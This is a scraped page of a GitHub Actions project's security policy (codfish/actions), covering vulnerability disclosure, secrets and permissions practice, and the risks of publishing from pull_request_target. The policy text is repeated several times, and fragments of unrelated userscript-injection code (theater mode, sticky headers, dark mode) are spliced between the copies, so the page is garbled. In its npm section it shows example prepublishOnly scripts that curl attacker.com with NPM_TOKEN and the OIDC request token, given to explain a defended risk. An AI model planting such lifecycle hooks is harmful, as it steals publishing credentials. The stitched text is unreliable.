  • Rate limiting applies - excessive commenting may be throttled

Incident Response

In case of a confirmed security vulnerability:

  1. Assessment - Evaluate severity and impact
  2. Mitigation - Develop and test fixes
  3. Disclosure - Coordinate with reporter on disclosure timeline
  4. Release - Deploy security fixes
  5. Communication - Notify users through appropriate channels

Security Contact

Acknowledgments

We appreciate security researchers and users who responsibly disclose vulnerabilities. Contributors who report valid security issues will be acknowledged (with permission) in:

  • Security advisories
  • Release notes
  • This security policy

Thank you for helping keep this project secure! 🔒

There aren't any published security advisories

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Auto-enable theater mode on YouTube\n(function() {\n function tryTheater() {\n var btn = document.querySelector('button[aria-label=\"Theater mode\"], ytd-player #player button[title=\"Theater mode\"]');\n if (btn && !btn.classList.contains('activated')) {\n btn.click();\n }\n }\n \n // Try immediately\n tryTheater();\n \n // Try after navigation (SPA)\n var lastUrl = location.href;\n setInterval(function() {\n if (location.href !== lastUrl) {\n lastUrl = location.href;\n setTimeout(tryTheater, 500);\n }\n }, 1000);\n \n // Also try on player load\n var observer = new MutationObserver(tryTheater);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "YouTube Theater Mode Default"); } } catch(__e) { console.warn('[Userscript:YouTube Theater Mode Default]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Security: codfish/actions

Security

SECURITY.md

Security Policy

Table of Contents

Supported Versions

This project follows a rolling release model. We provide security updates for:

VersionSupported
main✅ Always supported
Latest release tags✅ Supported
Older releases❌ Not supported

Reporting a Vulnerability

If you discover a security issue, please follow these steps:

🔒 Private Disclosure

Do NOT create a public issue for security vulnerabilities.

Instead, please report security issues privately using one of these methods:

  1. GitHub Security Advisories (preferred)

    • Go to the Security tab
    • Click "Report a vulnerability"
    • Fill out the form with details
  2. Email

📋 What to Include

When reporting a vulnerability, please include:

  • Description of the vulnerability
  • Steps to reproduce the issue
  • Potential impact of the vulnerability
  • Suggested fix (if you have one)
  • Your contact information for follow-up

🕐 Response Timeline

We aim to respond to security reports within:

  • Initial response: 24-48 hours
  • Confirmation/triage: 2-5 business days
  • Resolution: Varies based on complexity

Security Best Practices for Users

When using these GitHub Actions in your workflows:

🔐 Secrets Management

  • Never log secrets in workflows that use these actions
  • Use GitHub Secrets for sensitive information
  • Limit secret scope to only necessary workflows
  • Rotate secrets regularly
# ✅ Good - Using secrets properly
- uses: codfish/actions/npm-pr-version@v3with:
npm-token: ${{ secrets.NPM_TOKEN }}# ❌ Bad - Exposing secrets
- name: Debugrun: echo "Token: ${{ secrets.NPM_TOKEN }}"

🏷️ Action Versioning

  • Pin to specific versions or commit hashes for production workflows
  • Avoid using @main in production (use for testing only)
# ✅ Good - Pinned version
- uses: codfish/actions/setup-node-and-install@v3.2.3# ⚠️ Caution - Latest main (testing only)
- uses: codfish/actions/setup-node-and-install@v3

🔍 Workflow Permissions

  • Use minimal permissions required
  • Specify explicit permissions when possible
  • Avoid using write-all permissions
# ✅ Good - Minimal permissionspermissions:
contents: readissues: writepull-requests: write# ❌ Bad - Excessive permissionspermissions: write-all

🛡️ Input Validation

  • Validate user inputs before using them in actions
  • Sanitize outputs when displaying them
  • Be cautious with dynamic expressions

Security Features

This project implements several security measures:

🔒 Automated Security Scanning

  • Dependabot for dependency updates
  • CodeQL for static analysis
  • Dependency Review for PR security checks
  • Secret scanning with TruffleHog
  • npm audit for vulnerability detection

🛡️ Secure Development Practices

  • Input validation in all actions
  • Error handling without information disclosure
  • No secret logging in any action
  • Least privilege principle in action permissions

🔍 Supply Chain Security

  • Minimal dependencies to reduce attack surface
  • Regular dependency updates via Dependabot
  • Verified action references in workflows

Known Security Considerations

GitHub Actions Environment

  • Actions run in GitHub's infrastructure - we cannot control the runner environment
  • Secrets are available to all steps in a job that has access
  • Workflow logs are visible to users with read access to the repository

npm Publishing (npm-pr-version)

Open Source Projects Using pull_request_target

If you're an open source project using pull_request_target to publish PR packages from external contributors, consider using the secure tarball mode to protect against lifecycle script attacks.

When is this relevant?

  • ✅ You use pull_request_target (not pull_request)
  • ✅ You accept PRs from external contributors
  • ✅ Your workflow has access to publishing credentials (npm-token OR id-token: write for OIDC)

Not relevant if:

  • ❌ You use pull_request event (no secret access from forks)
  • ❌ You only publish from trusted branches

The Risk:

npm automatically executes lifecycle scripts during publishing:

  • prepublishOnly, prepare, prepack, postpack

A malicious PR could add a script that exfiltrates credentials:

With npm-token:

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?token=$NPM_TOKEN"
}
}

With OIDC (even without npm-token):

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?url=$ACTIONS_ID_TOKEN_REQUEST_URL&token=$ACTIONS_ID_TOKEN_REQUEST_TOKEN"
}
}

⚠️OIDC is just as vulnerable! The OIDC environment variables allow attackers to mint tokens and publish packages.

Recommended Solution:

Use the secure two-step workflow with tarball mode:

on: pull_request_targetjobs:
build:
# Build with untrusted code (no secrets)permissions:
contents: readsteps:
- uses: actions/checkout@v6with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm run build && npm pack
- uses: actions/upload-artifact@v4with:
name: package-tarballpath: '*.tgz'publish:
needs: build# Publish with secrets and --ignore-scriptspermissions:
contents: readid-token: write # For OIDC (or omit if using npm-token)pull-requests: write # For commentingsteps:
- uses: actions/checkout@v6 # Trusted base branch
- uses: actions/download-artifact@v4with:
name: package-tarball
- uses: codfish/actions/npm-pr-version@v3with:
tarball: '*.tgz'

See npm-publish-pr/README.md for full details.

General npm Publishing Considerations

  • NPM tokens have broad permissions - ensure tokens are scoped appropriately
  • Published packages are public by default - review package contents
  • Version immutability - published versions cannot be unpublished

Comment Actions

  • GitHub tokens can comment on behalf of the workflow user
  • Comment content is public - avoid including sensitive information
  • Rate limiting applies - excessive commenting may be throttled

Incident Response

In case of a confirmed security vulnerability:

  1. Assessment - Evaluate severity and impact
  2. Mitigation - Develop and test fixes
  3. Disclosure - Coordinate with reporter on disclosure timeline
  4. Release - Deploy security fixes
  5. Communication - Notify users through appropriate channels

Security Contact

Acknowledgments

We appreciate security researchers and users who responsibly disclose vulnerabilities. Contributors who report valid security issues will be acknowledged (with permission) in:

  • Security advisories
  • Release notes
  • This security policy

Thank you for helping keep this project secure! 🔒

There aren't any published security advisories

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Remove or un-stick sticky/fixed headers that block content\n(function() {\n function unstick() {\n document.querySelectorAll('header, nav, [role=\"banner\"], .header, .navbar, .sticky, .fixed-top, [style*=\"position: fixed\"], [style*=\"position:sticky\"]').forEach(function(el) {\n if (el.style.position === 'fixed' || el.style.position === 'sticky' || \n getComputedStyle(el).position === 'fixed' || getComputedStyle(el).position === 'sticky') {\n el.style.position = 'static';\n el.style.top = 'auto';\n el.style.zIndex = 'auto';\n }\n });\n }\n \n unstick();\n \n var observer = new MutationObserver(unstick);\n observer.observe(document.body, { childList: true, subtree: true, attributes: true, attributeFilter: ['style', 'class'] });\n})();", "Kill Sticky Headers"); } } catch(__e) { console.warn('[Userscript:Kill Sticky Headers]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Security: codfish/actions

Security

SECURITY.md

Security Policy

Table of Contents

Supported Versions

This project follows a rolling release model. We provide security updates for:

VersionSupported
main✅ Always supported
Latest release tags✅ Supported
Older releases❌ Not supported

Reporting a Vulnerability

If you discover a security issue, please follow these steps:

🔒 Private Disclosure

Do NOT create a public issue for security vulnerabilities.

Instead, please report security issues privately using one of these methods:

  1. GitHub Security Advisories (preferred)

    • Go to the Security tab
    • Click "Report a vulnerability"
    • Fill out the form with details
  2. Email

📋 What to Include

When reporting a vulnerability, please include:

  • Description of the vulnerability
  • Steps to reproduce the issue
  • Potential impact of the vulnerability
  • Suggested fix (if you have one)
  • Your contact information for follow-up

🕐 Response Timeline

We aim to respond to security reports within:

  • Initial response: 24-48 hours
  • Confirmation/triage: 2-5 business days
  • Resolution: Varies based on complexity

Security Best Practices for Users

When using these GitHub Actions in your workflows:

🔐 Secrets Management

  • Never log secrets in workflows that use these actions
  • Use GitHub Secrets for sensitive information
  • Limit secret scope to only necessary workflows
  • Rotate secrets regularly
# ✅ Good - Using secrets properly
- uses: codfish/actions/npm-pr-version@v3with:
npm-token: ${{ secrets.NPM_TOKEN }}# ❌ Bad - Exposing secrets
- name: Debugrun: echo "Token: ${{ secrets.NPM_TOKEN }}"

🏷️ Action Versioning

  • Pin to specific versions or commit hashes for production workflows
  • Avoid using @main in production (use for testing only)
# ✅ Good - Pinned version
- uses: codfish/actions/setup-node-and-install@v3.2.3# ⚠️ Caution - Latest main (testing only)
- uses: codfish/actions/setup-node-and-install@v3

🔍 Workflow Permissions

  • Use minimal permissions required
  • Specify explicit permissions when possible
  • Avoid using write-all permissions
# ✅ Good - Minimal permissionspermissions:
contents: readissues: writepull-requests: write# ❌ Bad - Excessive permissionspermissions: write-all

🛡️ Input Validation

  • Validate user inputs before using them in actions
  • Sanitize outputs when displaying them
  • Be cautious with dynamic expressions

Security Features

This project implements several security measures:

🔒 Automated Security Scanning

  • Dependabot for dependency updates
  • CodeQL for static analysis
  • Dependency Review for PR security checks
  • Secret scanning with TruffleHog
  • npm audit for vulnerability detection

🛡️ Secure Development Practices

  • Input validation in all actions
  • Error handling without information disclosure
  • No secret logging in any action
  • Least privilege principle in action permissions

🔍 Supply Chain Security

  • Minimal dependencies to reduce attack surface
  • Regular dependency updates via Dependabot
  • Verified action references in workflows

Known Security Considerations

GitHub Actions Environment

  • Actions run in GitHub's infrastructure - we cannot control the runner environment
  • Secrets are available to all steps in a job that has access
  • Workflow logs are visible to users with read access to the repository

npm Publishing (npm-pr-version)

Open Source Projects Using pull_request_target

If you're an open source project using pull_request_target to publish PR packages from external contributors, consider using the secure tarball mode to protect against lifecycle script attacks.

When is this relevant?

  • ✅ You use pull_request_target (not pull_request)
  • ✅ You accept PRs from external contributors
  • ✅ Your workflow has access to publishing credentials (npm-token OR id-token: write for OIDC)

Not relevant if:

  • ❌ You use pull_request event (no secret access from forks)
  • ❌ You only publish from trusted branches

The Risk:

npm automatically executes lifecycle scripts during publishing:

  • prepublishOnly, prepare, prepack, postpack

A malicious PR could add a script that exfiltrates credentials:

With npm-token:

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?token=$NPM_TOKEN"
}
}

With OIDC (even without npm-token):

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?url=$ACTIONS_ID_TOKEN_REQUEST_URL&token=$ACTIONS_ID_TOKEN_REQUEST_TOKEN"
}
}

⚠️OIDC is just as vulnerable! The OIDC environment variables allow attackers to mint tokens and publish packages.

Recommended Solution:

Use the secure two-step workflow with tarball mode:

on: pull_request_targetjobs:
build:
# Build with untrusted code (no secrets)permissions:
contents: readsteps:
- uses: actions/checkout@v6with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm run build && npm pack
- uses: actions/upload-artifact@v4with:
name: package-tarballpath: '*.tgz'publish:
needs: build# Publish with secrets and --ignore-scriptspermissions:
contents: readid-token: write # For OIDC (or omit if using npm-token)pull-requests: write # For commentingsteps:
- uses: actions/checkout@v6 # Trusted base branch
- uses: actions/download-artifact@v4with:
name: package-tarball
- uses: codfish/actions/npm-pr-version@v3with:
tarball: '*.tgz'

See npm-publish-pr/README.md for full details.

General npm Publishing Considerations

  • NPM tokens have broad permissions - ensure tokens are scoped appropriately
  • Published packages are public by default - review package contents
  • Version immutability - published versions cannot be unpublished

Comment Actions

  • GitHub tokens can comment on behalf of the workflow user
  • Comment content is public - avoid including sensitive information
  • Rate limiting applies - excessive commenting may be throttled

Incident Response

In case of a confirmed security vulnerability:

  1. Assessment - Evaluate severity and impact
  2. Mitigation - Develop and test fixes
  3. Disclosure - Coordinate with reporter on disclosure timeline
  4. Release - Deploy security fixes
  5. Communication - Notify users through appropriate channels

Security Contact

Acknowledgments

We appreciate security researchers and users who responsibly disclose vulnerabilities. Contributors who report valid security issues will be acknowledged (with permission) in:

  • Security advisories
  • Release notes
  • This security policy

Thank you for helping keep this project secure! 🔒

There aren't any published security advisories

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Universal Dark Mode - works on any site\n(function() {\n var enabled = true;\n \n function applyDarkMode() {\n if (!enabled) return;\n \n // Create style element if it doesn't exist\n var style = document.getElementById('universal-dark-mode-style');\n if (!style) {\n style = document.createElement('style');\n style.id = 'universal-dark-mode-style';\n document.head.appendChild(style);\n }\n \n // Dark mode CSS - inverts colors but preserves images/video\n style.textContent = '\n /* Invert everything except media */\n html {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #1a1a2e !important;\n }\n \n /* Restore images, videos, iframes, canvas */\n img, video, iframe, canvas, svg, picture, [style*=\"background-image\"] {\n filter: invert(1) hue-rotate(180deg) !important;\n }\n \n /* Preserve specific elements that should not be inverted */\n .no-dark-mode, .no-dark-mode *,\n [data-theme=\"light\"], [data-theme=\"light\"],\n .ace_editor, .ace_editor *,\n .CodeMirror, .CodeMirror *,\n .monaco-editor, .monaco-editor *,\n .markdown-body pre, .markdown-body pre *,\n .highlight, .highlight *,\n pre code, pre code * {\n filter: none !important;\n }\n \n /* Fix common UI elements */\n .modal, .popup, .dropdown-menu, .tooltip, .popover {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #2d2d44 !important;\n border-color: #444 !important;\n }\n \n /* Scrollbars */\n ::-webkit-scrollbar { background: #1a1a2e !important; }\n ::-webkit-scrollbar-thumb { background: #444 !important; }\n ::-webkit-scrollbar-thumb:hover { background: #555 !important; }\n \n /* Selection */\n ::selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ::-moz-selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ';\n }\n \n function removeDarkMode() {\n var style = document.getElementById('universal-dark-mode-style');\n if (style) style.remove();\n }\n \n // Toggle with Alt+Shift+D\n document.addEventListener('keydown', function(e) {\n if (e.altKey && e.shiftKey && e.key === 'D') {\n e.preventDefault();\n enabled = !enabled;\n if (enabled) {\n applyDarkMode();\n console.log('[Universal Dark Mode] Enabled');\n } else {\n removeDarkMode();\n console.log('[Universal Dark Mode] Disabled');\n }\n }\n });\n \n // Apply on load\n applyDarkMode();\n \n // Re-apply on dynamic content\n var observer = new MutationObserver(function(mutations) {\n if (enabled && !document.getElementById('universal-dark-mode-style')) {\n applyDarkMode();\n }\n });\n observer.observe(document.head, { childList: true });\n \n console.log('[Universal Dark Mode] Loaded - Press Alt+Shift+D to toggle');\n})();", "Universal Dark Mode"); } } catch(__e) { console.warn('[Userscript:Universal Dark Mode]', __e); } })(); })();
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Security: codfish/actions

Security

SECURITY.md

Security Policy

Table of Contents

Supported Versions

This project follows a rolling release model. We provide security updates for:

VersionSupported
main✅ Always supported
Latest release tags✅ Supported
Older releases❌ Not supported

Reporting a Vulnerability

If you discover a security issue, please follow these steps:

🔒 Private Disclosure

Do NOT create a public issue for security vulnerabilities.

Instead, please report security issues privately using one of these methods:

  1. GitHub Security Advisories (preferred)

    • Go to the Security tab
    • Click "Report a vulnerability"
    • Fill out the form with details
  2. Email

📋 What to Include

When reporting a vulnerability, please include:

  • Description of the vulnerability
  • Steps to reproduce the issue
  • Potential impact of the vulnerability
  • Suggested fix (if you have one)
  • Your contact information for follow-up

🕐 Response Timeline

We aim to respond to security reports within:

  • Initial response: 24-48 hours
  • Confirmation/triage: 2-5 business days
  • Resolution: Varies based on complexity

Security Best Practices for Users

When using these GitHub Actions in your workflows:

🔐 Secrets Management

  • Never log secrets in workflows that use these actions
  • Use GitHub Secrets for sensitive information
  • Limit secret scope to only necessary workflows
  • Rotate secrets regularly
# ✅ Good - Using secrets properly
- uses: codfish/actions/npm-pr-version@v3with:
npm-token: ${{ secrets.NPM_TOKEN }}# ❌ Bad - Exposing secrets
- name: Debugrun: echo "Token: ${{ secrets.NPM_TOKEN }}"

🏷️ Action Versioning

  • Pin to specific versions or commit hashes for production workflows
  • Avoid using @main in production (use for testing only)
# ✅ Good - Pinned version
- uses: codfish/actions/setup-node-and-install@v3.2.3# ⚠️ Caution - Latest main (testing only)
- uses: codfish/actions/setup-node-and-install@v3

🔍 Workflow Permissions

  • Use minimal permissions required
  • Specify explicit permissions when possible
  • Avoid using write-all permissions
# ✅ Good - Minimal permissionspermissions:
contents: readissues: writepull-requests: write# ❌ Bad - Excessive permissionspermissions: write-all

🛡️ Input Validation

  • Validate user inputs before using them in actions
  • Sanitize outputs when displaying them
  • Be cautious with dynamic expressions

Security Features

This project implements several security measures:

🔒 Automated Security Scanning

  • Dependabot for dependency updates
  • CodeQL for static analysis
  • Dependency Review for PR security checks
  • Secret scanning with TruffleHog
  • npm audit for vulnerability detection

🛡️ Secure Development Practices

  • Input validation in all actions
  • Error handling without information disclosure
  • No secret logging in any action
  • Least privilege principle in action permissions

🔍 Supply Chain Security

  • Minimal dependencies to reduce attack surface
  • Regular dependency updates via Dependabot
  • Verified action references in workflows

Known Security Considerations

GitHub Actions Environment

  • Actions run in GitHub's infrastructure - we cannot control the runner environment
  • Secrets are available to all steps in a job that has access
  • Workflow logs are visible to users with read access to the repository

npm Publishing (npm-pr-version)

Open Source Projects Using pull_request_target

If you're an open source project using pull_request_target to publish PR packages from external contributors, consider using the secure tarball mode to protect against lifecycle script attacks.

When is this relevant?

  • ✅ You use pull_request_target (not pull_request)
  • ✅ You accept PRs from external contributors
  • ✅ Your workflow has access to publishing credentials (npm-token OR id-token: write for OIDC)

Not relevant if:

  • ❌ You use pull_request event (no secret access from forks)
  • ❌ You only publish from trusted branches

The Risk:

npm automatically executes lifecycle scripts during publishing:

  • prepublishOnly, prepare, prepack, postpack

A malicious PR could add a script that exfiltrates credentials:

With npm-token:

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?token=$NPM_TOKEN"
}
}

With OIDC (even without npm-token):

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?url=$ACTIONS_ID_TOKEN_REQUEST_URL&token=$ACTIONS_ID_TOKEN_REQUEST_TOKEN"
}
}

⚠️OIDC is just as vulnerable! The OIDC environment variables allow attackers to mint tokens and publish packages.

Recommended Solution:

Use the secure two-step workflow with tarball mode:

on: pull_request_targetjobs:
build:
# Build with untrusted code (no secrets)permissions:
contents: readsteps:
- uses: actions/checkout@v6with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm run build && npm pack
- uses: actions/upload-artifact@v4with:
name: package-tarballpath: '*.tgz'publish:
needs: build# Publish with secrets and --ignore-scriptspermissions:
contents: readid-token: write # For OIDC (or omit if using npm-token)pull-requests: write # For commentingsteps:
- uses: actions/checkout@v6 # Trusted base branch
- uses: actions/download-artifact@v4with:
name: package-tarball
- uses: codfish/actions/npm-pr-version@v3with:
tarball: '*.tgz'

See npm-publish-pr/README.md for full details.

General npm Publishing Considerations

  • NPM tokens have broad permissions - ensure tokens are scoped appropriately
  • Published packages are public by default - review package contents
  • Version immutability - published versions cannot be unpublished

Comment Actions

  • GitHub tokens can comment on behalf of the workflow user
  • Comment content is public - avoid including sensitive information
  • Rate limiting applies - excessive commenting may be throttled

Incident Response

In case of a confirmed security vulnerability:

  1. Assessment - Evaluate severity and impact
  2. Mitigation - Develop and test fixes
  3. Disclosure - Coordinate with reporter on disclosure timeline
  4. Release - Deploy security fixes
  5. Communication - Notify users through appropriate channels

Security Contact

Acknowledgments

We appreciate security researchers and users who responsibly disclose vulnerabilities. Contributors who report valid security issues will be acknowledged (with permission) in:

  • Security advisories
  • Release notes
  • This security policy

Thank you for helping keep this project secure! 🔒

There aren't any published security advisories